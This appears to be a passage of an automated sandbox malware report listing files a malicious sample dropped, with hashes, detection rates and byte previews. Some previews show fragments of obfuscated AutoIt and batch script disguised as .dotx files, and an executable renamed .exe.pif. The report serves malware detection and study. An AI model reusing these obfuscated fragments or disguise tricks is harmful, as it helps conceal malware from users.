SHA-512:	54727C7931293B6498E20B602DA13FF48498F2F52ABDE5CB79A412C128CDA203DB11F616F22D70F37CAD51D8642F5DDC8E3E761A2300545DA8A0F379612F15DA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 54%, Browse Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KHJGTNuePB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'d..F...F...F..=IU..F...w..F...d..F...g..F..=IW..F...F...F...x..F...r..F..Rich.F..........PE..L...q..c..........................................@.........................................................................L...d....P..(...............................................................@............................................text............................... ..`.rdata..,+.......0..................@..@.data...D4....... ..................@....rsrc........P.......0..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6D2B.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	815616
Entropy (8bit):	7.153966563867015
Encrypted:	false
SSDEEP:	12288:pWhSaFLd6aJa6+4LsI24bUAwg5K9JwbWPSQwLumdo9RhN5JssDJyu:pWRFLdNJb+4724bYUK/pEdo977Jswp
MD5:	063D932BB78AE11F67A5B1B929B0B16D
SHA1:	DC9F112C71911FF2E9D1ABEC01EBFD3C20764E25
SHA-256:	2B6270B05D34DCB89CB571B965136CAA893309AD7E3956AE3323E330645D2629
SHA-512:	059FDEED40FCE0805B5680A10E05BBF8A5D9CC664991AEDE01A9A905AF570DC907DD5F47F708322160F6BEEF72953C570B80E688A65506144207F7C5C3486C69
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8...Y...Y...Y../...Y../:.Y...!...Y...Y..Y../;..Y../...Y../...Y..Rich.Y..........PE..L....t.a.....................B.......X............@.............................................................................d........U...........................................................E..@............................................text...L........................... ..`.data............4..................@....rsrc....U.......V..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9589.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3925504
Entropy (8bit):	7.826931253801293
Encrypted:	false
SSDEEP:	49152:Clr88PxDIbt4Lx5Z7ZHDOJk+06mau7BQ6uc9i0MemOwVzD9tTKUJ9UNfqqlJ:G88ZwMx5Z7RapmaWlT9iJF5Jhd
MD5:	47A728DE87C2687CC28C2B56E936305C
SHA1:	A3422B9A101AA31AD60CC0CEAE224542DC97EC91
SHA-256:	E71312D51F1B9B66765494DB4ECACD4CE9E0AC4F6F5E41A653BF5CAEC8B3EF8D
SHA-512:	876326CCCE730485227A550FBCB32A610213BF05A092F7BC7FA361DCAA5F8274F6284602D57B2B9C49D6E12D2B784589D09399460BD6F02518DAC72D7394D8FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....m.c..........#.................5.7........@.............................Pi........... ..................................................^1......@i..... .h. .............................................5.0....h.8............@?..............................text............................... ..`.rdata..TP..........................@..@.data........0......................@....pdata.............................@..@_RDATA.......`......................@..@.vmp0........p......................`..`.vmp1...@.;..`-...;.................`..h.rsrc........@i.......;.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9602.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1708032
Entropy (8bit):	7.074943431985404
Encrypted:	false
SSDEEP:	24576:HB0zcUxgf9gEfz43c7uupZHOJ3mRNUZ4sH90B7O66ogoRQT:HBTwcZUs7FZ2Z4uyB7O66ogoRY
MD5:	53D369FE5F2CCFB7DEF013497D834DED
SHA1:	C6C97A6A0526063BFD01F48FD237DB8CE8CB9DD1
SHA-256:	BD701C441DFB2E771B600826F7ED34006927A85268447676175F2E030FE82F71
SHA-512:	6E5253750F0A36B5E47D59CFDC6C52A95D16DE24114E2F77BA141F7AA0E36DA576A83345667FF229A32498CD6520C8F1E12A17E1188FE7F477DF81158C991A4B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........................................F..SF..SF..S.viS...S..\S...S..R-..S.vmS.SX. Sj..S tnS...Sa\.Sy..S(.R`..Sc.CS...SO.1SK..Sc.CS..Sa\.S#..S).?S..SF..S...S..Rd..Sc.\|S...Sa\hS.S...R...Sc..S*..SRichF..S............PE..L......c...........!.........P......#.............@.......................... .............@.................................p...................................m...................................................s...............................text............................... ..`.rdata.............................@..@.data........p.......p..............@....idata..$....p.......`..............@....rsrc................p.................@.reloc..............................@..B....................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A8D9.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	3925504
Entropy (8bit):	7.826931253801293
Encrypted:	false
SSDEEP:	49152:Clr88PxDIbt4Lx5Z7ZHDOJk+06mau7BQ6uc9i0MemOwVzD9tTKUJ9UNfqqlJ:G88ZwMx5Z7RapmaWlT9iJF5Jhd
MD5:	47A728DE87C2687CC28C2B56E936305C
SHA1:	A3422B9A101AA31AD60CC0CEAE224542DC97EC91
SHA-256:	E71312D51F1B9B66765494DB4ECACD4CE9E0AC4F6F5E41A653BF5CAEC8B3EF8D
SHA-512:	876326CCCE730485227A550FBCB32A610213BF05A092F7BC7FA361DCAA5F8274F6284602D57B2B9C49D6E12D2B784589D09399460BD6F02518DAC72D7394D8FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....m.c..........#.................5.7........@.............................Pi........... ..................................................^1......@i..... .h. .............................................5.0....h.8............@?..............................text............................... ..`.rdata..TP..........................@..@.data........0......................@....pdata.............................@..@_RDATA.......`......................@..@.vmp0........p......................`..`.vmp1...@.;..`-...;.................`..h.rsrc........@i.......;.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AA90.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	971264
Entropy (8bit):	6.002305408717152
Encrypted:	false
SSDEEP:	12288:AGjUp0ZAgiOHyEmF0qV/+7InmFZ1YLnaPQW2Ac/7ZNGcB5lIFjhuuO0aZI+679yB:zUCUOHyFGqV/+7Iph7ZNGnFjhkZo7QB
MD5:	0F7F400E3B1F2B88C276E5E858F80021
SHA1:	FF6E3E0DF4980E41DC037E6D626F008E20A2AFBF
SHA-256:	A8C844A82DDA8DA3A13CA28D498BDE47B68A3D911BDDFCE32F24437D07E08245
SHA-512:	A53C1A0101089F7368898544525C537F2A73E44376975729682869849C873BB486318C7FFEE5165937F536FFFE76883802FBDF00DEBCE70E797A86EB0105E334
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%.y.v.y.v.y.v...w.y.v...w6y.v...w.y.v...w.y.v...w.y.v...w.y.v.y.v.y.v...w.y.v...w.y.v..sv.y.v...w.y.vRich.y.v........PE..L...b..c............... .B...................`....@..........................0.......?....@................................. ...<................................j..@...8...........................X...@............... ............................text...y@.......B.................. ..`.rdata..L<...`...>...F..............@..@.data...............................@....idata..E............B..............@..@.00cfg...............P..............@..@.rsrc................R..............@..@.reloc..ny.......z...X..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ADFF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	6.933168679739018
Encrypted:	false
SSDEEP:	3072:DBu/booFZs+4oOYcmtbRkF/pstBaDqwONnct43EpstBaDqwONnct43rBl3N2UR:DBu/boGUoOciF/p/uwONct43Ep/uwON/
MD5:	AE9E2CE4CF9B092A5BBFD1D5A609166E
SHA1:	00C12EC16B5116403AE1A9923B114451880B741D
SHA-256:	CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87
SHA-512:	54727C7931293B6498E20B602DA13FF48498F2F52ABDE5CB79A412C128CDA203DB11F616F22D70F37CAD51D8642F5DDC8E3E761A2300545DA8A0F379612F15DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'d..F...F...F..=IU..F...w..F...d..F...g..F..=IW..F...F...F...x..F...r..F..Rich.F..........PE..L...q..c..........................................@.........................................................................L...d....P..(...............................................................@............................................text............................... ..`.rdata..,+.......0..................@..@.data...D4....... ..................@....rsrc........P.......0..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BFB7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4334632
Entropy (8bit):	7.976290704012793
Encrypted:	false
SSDEEP:	98304:yZunNP15qUCOWYOpWQ8hhltOefC2oDiKDrQew8z9nAIvg6dU:yZuNP4OlQ8hhl4efzoWKTw8xbg6S
MD5:	3B5463567CF1CCAB385DF57CA603A3A8
SHA1:	D6C5078CEE8D7412D1BE9C84A9134B38E1A16E63
SHA-256:	6B0618570FF576D5542639FEAAFF6A5721803498CAE08413004B428ED81BCF79
SHA-512:	F2342425952F39322403D62AE9668507071833F5B7A1686262257E4BF2AEAF529108F9D3DBE6EC9828B78D250111A834578A6281E5A204D51558D7A316480378
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$...w...w...w..Fw...w..Pw-..w.P.w...w...w...w..Ww...w..Gw...w..Bw...wRich...w........................PE..L...^7.a............................p........ ....@.................................^9B.........................................d........5............B.(...............................................@............................................text...H........................... ..`.data...H.~.. ....>.................@....rsrc............6....A.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D4C7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	626176
Entropy (8bit):	7.5240157244189465
Encrypted:	false
SSDEEP:	12288:W1GQYrk6B0fUAWDCz+saFgZNXWU5ElzOj8keQUf3jdZEbjzShdb+h:6Rkbdu+uMU5EtOj8xbf3jjH
MD5:	7D3FC957000BB4207A974105D528077C
SHA1:	F5D612665BC1C8936576DDE183FC4F0D12DD866A
SHA-256:	C27294CCBB14E35827D0C575055DF5934C2DCFEEDA6D7C483351786B4DBD2EB3
SHA-512:	13391105A573AC9FEFA13FA1D93C7FCAA5AFDC7A84E6578E0EFD91BD58792937A18CE4642A689E846C3C73AAF915522DEB2870385FC732CB97A21D3A63467D10
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$..w..w..w..Fw..w..Pwm..w.P.w..w..wS..w..Ww..w..Gw..w..Bw..wRich..w................PE..L.....3a......................F.....P........ ....@...........................I.....Z...........................................d.....I..5..............................................................@............................................text...D........................... ..`.data...HPF.. ...D..................@....rsrc....5....I..6...X..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D510.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	297472
Entropy (8bit):	6.553238502071864
Encrypted:	false
SSDEEP:	6144:RKiJI2vEl3yx6B2sfkvP/GTvtW14UN6HZz0nuw9RP19n4+puf+f:bJIB324esZz0nuw/194+Vf
MD5:	4DD5B94AF732FDAA38C731E6AB39BFAD
SHA1:	41D014CD2033B978CF23791317FABE30332F934A
SHA-256:	555A70BDD0F7F17C5D79C2A3E01525F0C036D32AD9F77B08F7B15B7210D80242
SHA-512:	D14C86DBD19BD71F76236C8FFAF384091ABD93639E9194D3B8C788EFFB8E792BC4DF252A21C99845B2CACEB8A56AE4584C253B5A0399600D72F1272AD689B549
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$...w...w...w..Fw...w..Pw-..w.P.w...w...w...w..Ww...w..Gw...w..Bw...wRich...w........................PE..L...p!3a......................A.....`........ ....@...........................D.....-Z..........................................d....pD..5..............................................................@............................................text...8........................... ..`.data....KA.. ...@..................@....rsrc....5...pD..6...T..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FC9E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	7.743235523457796
Encrypted:	false
SSDEEP:	12288:d6sBKxgkHDN1aaBYvt5vDhnccUibQMMV17ZrQA8Wv2Z1l8FjYWqPstUg8q:9B8gO6F5vtnnyDZrQA8XZ1CKqT8
MD5:	5172CD2EDA6449DD6FE0479D404CF4BE
SHA1:	36D06F327C231A3DDC6FE7B710D83A04510F5021
SHA-256:	57AB41FC4C66B4A5FD67C63A212963EEF9FDCEF540DA178ECD1BD8430611793B
SHA-512:	7C661F7BAC10713106E7E7A01A7738F777FAD0F97F7D4742B6F6842919055A60AB18FB87C486657D9D626738A307B84D3F825D8D5037E72FFB2272FE678595D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........@..............-......+.w.....+..............-.......&............(....../......./.7.....*.......+.....................,.....Rich....................PE..L....m.c.........................@..`....P........@.......................................@.....................................................................$...........................L.......l...............................................UPX0.....@..............................UPX1.........P...x..................@....rsrc................\|..............@..............................................................................................................................................................................................................................................................................................................................................3.96.UPX!....

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Orti.dotx

Download File

Process:	C:\Users\user\AppData\Local\Temp\5449.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	9110
Entropy (8bit):	5.821910985202804
Encrypted:	false
SSDEEP:	192:Q4HHMVtI2wZiYshgvjRyEJ8BdNZOJbAzWOltESeQ+67:Q0sVq26x/gNZAjOltyx67
MD5:	E2144D1E2764649DD0C17D5A66C9CBB8
SHA1:	DB8D96D38625910C7211ADE6AA7968F7924046D6
SHA-256:	D74100414E50FC29BA189B38C74E47727E25812FE82B12C72E2317EB2FD5F033
SHA-512:	8A7CAF5C474D5328C798C821D0C9F51AED81EDB1A43BDB56F27E6AA465C92E84DDAF17130C446F123D292AE504BB741FA7800FC8A4E8800FCB1317E4E26CF20D
Malicious:	false
Preview:	jXBojUoZouCUieRisakgkIfOI=yuPsJtKatIwkbJOTzLKzfgWJxx..mDDHNmcPwpQvnlOYoyuUCAafEtgAQ=yXftkOAqgLwUM..CgkpAdNEgmbZkgrJkVYSrTu=YZboQxTHNIMfStqmc..IQGkDkXFAuWUGJiRlASF=UFQkCCNQuVnvCldNMvklkTMLT..eiqTmHQNOl=qqJpOzkbbrmRtbtGxBqTyaAmFP..cRFOcyXMcCwvmB=cYDdWcxqckOsKIA..DYuPFSgtLuLJt=yAsRWBWfTRqRlDGOj..VsbnaMHDKmE=KLVeugqSLYggyfOOHLbXUHOMW..iFpzRvKrifVovaOzaWrpar=TVZeHVeXoymucIsiRDwomTmgtoAgR..Set KLeQlrliwWjbUGrvdbidGDzJEWSBRjgvsORMMk=i..iubsRPPhwvi=podeivENfkjJLlFauAPtnQsTYayI..AtrkgTEwRiZWyOVTNGHlvu=GenaRbrPdViPupnvsqsg..QoaecZlLnnlzDvoQA=DOsIwYZOJfldptRiQUydvbTr..vXcDNdFQhNAwiuxeGdUAifyBvFh=pduVgPEwDkWZEAVdsyJNKhQi..DLiRUuieVHXHFNsCzmxzVVHzOlsWm=VAZWLtbpJyOWJSXJLssksOcNeHtNe..PlCVLbHIehtpQfFYkOcynZF=IitkTrZKiZdDxOi..weftiiYuotcdsXkPFgjE=vOYhxeQYwEvGVrcJA..ApYrPIJapOAY=CDoFhsQNtiiu..YJvTPuyiLcxaZfEwTwb=mUrMbiaKzvw..WfJZWfZxSXQoOjgwjLkuKrqtFJ=HNxOfzDvJGEtDerlBt..Set NgtHdbSxeotsMeWjzLqPjFsUnZcKXncOumakeNaTgvA=c..vMaDiNchVQqCRmZQFJAJDpAe=fMjkxvOYaluuvCXPBC..yCHYEDxBsqij=fiSqowAzkDngSJ..iCUeHzXT

C:\Users\user\AppData\Local\Temp\IXP000.TMP\P (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1148076
Entropy (8bit):	5.800768523538348
Encrypted:	false
SSDEEP:	12288:iuoSNeJqda/rC+E92qY7Y+iR4BuFcX+vFHY1ez0hD7InYMGDaxdtdV3SNqhrlCSZ:VDNeJYYm4qSQRw4c11ew6CSZ
MD5:	C3476C8885D4302B87D33CD6ABE6ADDD
SHA1:	4EC09FA297DF58A6569040DBCE4B4CDC208EE557
SHA-256:	D6B8F513F38F257A6B8A84FD8A3FF8F198F5288DF4F05C82D77759A9371A062B
SHA-512:	96DA068D68E93F0C817DEE6574465771A4ED7B2ED25EDA687E17F39CF39C7BFD262C5EFCCC3FFB95A23BFFB90197C9673E1A7462E4F532E9509D1E0C68D62B2E
Malicious:	false
Preview:	Func XyeIkxQvkGIRzY($RlDhK,$nUQaO,$eggu)..$fOAOSJnCLPyHRWGqpmsDOHoRSFIxWsCrJ = '71785167818803531752877703117431043'..$YnFfN = 129..$unGNyIzknjQZzc = 65..While 1964077..Switch $YnFfN..Case 127..$gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo = 16..If $UUAqtfOXchFkRG > 32 Then..$uilkgZIvPsEbYioO = 4279359..ConsoleWrite(odmSZclWXssmDU("52-54-58",3))..$gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo = $gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo + (136662 / 136662)..EndIf..$YnFfN = $YnFfN + 1..Case 128..$nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw = 13..If $SipNiWmYtERCa > 36 Then..$iFggidUoXulOcKsJ = 4651677..ConsoleWrite(odmSZclWXssmDU("50-54-57",1))..$nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw = $nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw + (396707 / 396707)..EndIf..$YnFfN = $YnFfN + 1..Case 129..$sctdwoVriiHnYIhUGDJZcqSiwbZaRINDVRWI = ATan(11245)..ExitLoop..EndSwitch..WEnd..$DWfDoCkmxtDuLEamnyjRnr = '541353

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Petali.dotx

Download File

Process:	C:\Users\user\AppData\Local\Temp\5449.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1148076
Entropy (8bit):	5.800768523538348
Encrypted:	false
SSDEEP:	12288:iuoSNeJqda/rC+E92qY7Y+iR4BuFcX+vFHY1ez0hD7InYMGDaxdtdV3SNqhrlCSZ:VDNeJYYm4qSQRw4c11ew6CSZ
MD5:	C3476C8885D4302B87D33CD6ABE6ADDD
SHA1:	4EC09FA297DF58A6569040DBCE4B4CDC208EE557
SHA-256:	D6B8F513F38F257A6B8A84FD8A3FF8F198F5288DF4F05C82D77759A9371A062B
SHA-512:	96DA068D68E93F0C817DEE6574465771A4ED7B2ED25EDA687E17F39CF39C7BFD262C5EFCCC3FFB95A23BFFB90197C9673E1A7462E4F532E9509D1E0C68D62B2E
Malicious:	false
Preview:	Func XyeIkxQvkGIRzY($RlDhK,$nUQaO,$eggu)..$fOAOSJnCLPyHRWGqpmsDOHoRSFIxWsCrJ = '71785167818803531752877703117431043'..$YnFfN = 129..$unGNyIzknjQZzc = 65..While 1964077..Switch $YnFfN..Case 127..$gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo = 16..If $UUAqtfOXchFkRG > 32 Then..$uilkgZIvPsEbYioO = 4279359..ConsoleWrite(odmSZclWXssmDU("52-54-58",3))..$gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo = $gUQCRNrFILDozLDenbmqzyNiLDToyIGhzcdfbhGTxHZGXmgUAISgIVbo + (136662 / 136662)..EndIf..$YnFfN = $YnFfN + 1..Case 128..$nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw = 13..If $SipNiWmYtERCa > 36 Then..$iFggidUoXulOcKsJ = 4651677..ConsoleWrite(odmSZclWXssmDU("50-54-57",1))..$nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw = $nGZVkrlMKsZhyQOnHyFuFCAXAvxoTCijyodQzrgrOPWzskijSZxluVxVyw + (396707 / 396707)..EndIf..$YnFfN = $YnFfN + 1..Case 129..$sctdwoVriiHnYIhUGDJZcqSiwbZaRINDVRWI = ATan(11245)..ExitLoop..EndSwitch..WEnd..$DWfDoCkmxtDuLEamnyjRnr = '541353

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Piramide.dotx

Download File

Process:	C:\Users\user\AppData\Local\Temp\5449.exe
File Type:	data
Category:	dropped
Size (bytes):	946881
Entropy (8bit):	6.630798014596789
Encrypted:	false
SSDEEP:	24576:FErOxpVnqgt5ExLh27RQlf7Yfq2WZz2a1BB69:F86pqeE74aB0Sdia1W9
MD5:	ED800FAE3606D49F151D1B97FC5E7725
SHA1:	FEF068B8B8B78C7E1769C99E8880DE45198573FE
SHA-256:	4237F16EEB2FCC48E96B87AF6FA50E43A513FAAE639655B5164F5ED9BFE99AC5
SHA-512:	C80B9C7566EF9534CD8134290291F22D3FE2ACD8207F03F9B7180FE4EA9AAC9DFFF304CA097E3E436C35E4839A37B481BDAABDAA5321B430DF3B790B386AE243
Malicious:	false
Preview:	pEEAJDvbFducSAuclnaxUtRINNcRqYDtFjrrCpmuzIwJYuwLxxkkQLnyMVMViFvGNePFvrTwZjqkeiKHMJbGMagUOYdGvDYNjxWVdcfdB........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L.....$b.........."...............................@.......................................@...@.......@.....................t...\|....P..P............L..X&...0..Xv...........................C..........@............................................text...f........................... ..`.rdata..............................@..@.data...\p.......H..................@....rsrc...P....P......................@..@.reloc..Xv...0...x..................@..B.......................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Trarre.exe.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	946776
Entropy (8bit):	6.630605981477972
Encrypted:	false
SSDEEP:	24576:LErOxpVnqgt5ExLh27RQlf7Yfq2WZz2a1BB69:L86pqeE74aB0Sdia1W9
MD5:	6987E4CD3F256462F422326A7EF115B9
SHA1:	71672A495B4603ECFEC40A65254CB3BA8766BBE0
SHA-256:	3E26723394ADE92F8163B5643960189CB07358B0F96529A477D37176D68AA0A0
SHA-512:	4B1D7F7FFEE39A2D65504767BEEDDD4C3374807A93889B14E7E73DB11E478492DEC349AEDCA03CE828F21A66BB666A68D3735443F4249556E10825A4CD7DFEB4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L.....$b.........."...............................@.......................................@...@.......@.....................t...\|....P..P............L..X&...0..Xv...........................C..........@............................................text...f........................... ..`.rdata..............................@..@.data...\p.......H..................@....rsrc...P....P......................@..@.reloc..Xv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\db.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\ADFF.exe
File Type:	data
Category:	dropped
Size (bytes):	571228
Entropy (8bit):	7.964552033972383
Encrypted:	false
SSDEEP:	12288:+V1e0UgkVT6ZT+3JCnoxgLQImxuCXwbePLJrH8fwpY4SG:+V1edgkV8T0Cnox5f4ePLJTMwpYA
MD5:	2A03E19D5AF7606E8E9A5C86A5A78880
SHA1:	93945D1E473713D83316AAA9A297A417FB302DB7
SHA-256:	15DEA69E1EF7F927CDF56B7B6A31189B825B0CEF06EECA4811006E7BF9D02C9A
SHA-512:	F263945AF96CB0040D521832038862BFA05F4C9EFD0EDA0AE511DC1AB0CED179E0E64A3054DE42BDC159DB2520FF45F2B56AC08A7AC59BD01B74BBDF4B013F93
Malicious:	false
Preview:	O,..Hh.j...?...O}3..8v,)cml.T/.....V.r.....n.?y..oz#V......N.{.....!....Y."..)v.T.........Ub.V...)..8..,.%.{4.yWrA.a36&..,...V...l9.y....39.y...wW.j.ox.....I..;..%..p.b..>..j.....j..awT..r...j....o./.7...,=uk..i../h..jj.P.j..?.-X.k..R}.j.5.b-F.k..c........j...j..Q?...).qe......,o'k.....j.J..))O.......k..\.....u,..k...,..k....k...tOT.X.jXe-.k..7.k...83U.......%..o.....Y%.....7.F.(j...KP..I..j..y...o..no......z......u/..DJP.e+.Dj..Z....k.......j$T.X.j[..`....o....k{..2\|6...H.....c%..........z......~^..j.-s.....o.-........6.L.`.j.-s.....i\|..y.Q'....k...}FT.X.jY..Y....o......y..=\|6..%..z/........s....>.j.-s.k../.:..........>\|/...h...2/..R..-......k....9.y.....j.6Z.j.o....l&..%.UD..`....&..t>".6g..j,..../W=..5...n.......X..h>.k..'...\|/h..jfDX.S...`&...Y....)U]bc[......'(..l..+....b.i....[...If!S...r......i.....Q^.......aeddT.`.'....*.[.h....e...?>....n....5......-..j..T..ow......k....-...k16.+i(~..L....j,...c.L./w=j...~./

C:\Users\user\AppData\Local\Temp\db.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ADFF.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	5.463972317214072
Encrypted:	false
SSDEEP:	768:WDKKrolwgA7W2cz1Pii4A1yZHtVtQg0eBU:KKPi2Fii4TrtQg0e
MD5:	4D11BD6F3172584B3FDA0E9EFCAF0DDB
SHA1:	0581C7F087F6538A1B6D4F05D928C1DF24236944
SHA-256:	73314490C80E5EB09F586E12C1F035C44F11AEAA41D2F4B08ACA476132578930
SHA-512:	6A023496E7EE03C2FF8E3BA445C7D7D5BFE6A1E1E1BAE5C17DCF41E78EDE84A166966579BF8CC7BE7450D2516F869713907775E863670B10EB60C092492D2D04
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)a..H..H..H..r.H..a.H..b..H..oGR.H..H...H..}.H..u.H..w.H..Rich.H..........PE..L....^.c...........!.....p...p..........................................................................................b.......(........&.......................................................... ...@............................................text....g.......p.................. ..`.rdata........... ..................@..@.data...............................@....rsrc....0.......0..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\edahtde

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248375
Entropy (8bit):	7.999270923869582
Encrypted:	true
SSDEEP:	6144:03ZqHkn+ybb2iuB8+vn7QWotg2rI+bA52kC4CEZHKiSg24unvNYob6Qy:B6+ybbtuKc0Wo1E52k/NnenlZbhy
MD5:	130DE15EF0A04E621C56A4B3288BC1B6
SHA1:	F51F2EC9E138F14CCE74B129B56FD134EB2D4AAF
SHA-256:	63AD156344BE69D87B9C58B3B45E0D4C9D327A6477EF0363AAF382E80B925C8F
SHA-512:	177703EEF3EDB542F6F0C0516ED927BC77FD11F68A16ED9331545A61A1C55C177034218864E26E019E0D0B5CCFA756D1EAC84F7D06D14E59F6939DA475F7C498
Malicious:	false
